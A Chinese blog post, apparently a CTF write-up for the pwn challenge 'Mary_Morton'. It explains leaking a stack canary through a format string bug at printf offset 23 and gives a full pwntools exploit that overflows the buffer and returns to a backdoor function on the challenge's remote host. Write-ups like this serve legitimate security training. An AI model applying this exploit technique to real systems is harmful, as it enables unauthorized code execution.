Mary_Morton-格式化字符串泄露canary


Mary_Morton wp

这篇博客主要讲一个方法:利用格式化字符串漏洞泄露canary内容

格式化字符串漏洞泄露canary

先checksec一下:

开了NX保护和Canary保护,本来一般开了Canary应该不是栈溢出的问题,但这题比较特殊有利用方法。
拖进IDA查看:

有些名字我改过了
这里有两个漏洞可利用:一个是格式化字符串漏洞(format_string_bug),另一个是栈溢出(overflow_string_bug)
点进format_string_bug:

在虚拟机中运行发现偏移量为6

0x90-0x8=0x88,0x88/8=17,17+6=23
得Canary为printf的第23个参数,而后在溢出的必要位置加入Canary就行
overflow_string_bug:

后门函数:

上exp:

from pwn import*
io=remote("61.147.171.105",54809)
io.recvuntil("3. Exit the battle \n")
io.sendline("2")
io.sendline('%23$p')
io.recvuntil('0x')
c_addr=int(io.recvuntil('00'),16)
io.recvuntil("3. Exit the battle \n")
io.sendline("1")
payload=b'a'*0x88+p64(c_addr)+p64(0)+p64(0x04008DA)
io.sendline(payload)
io.interactive()

获得flag:


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录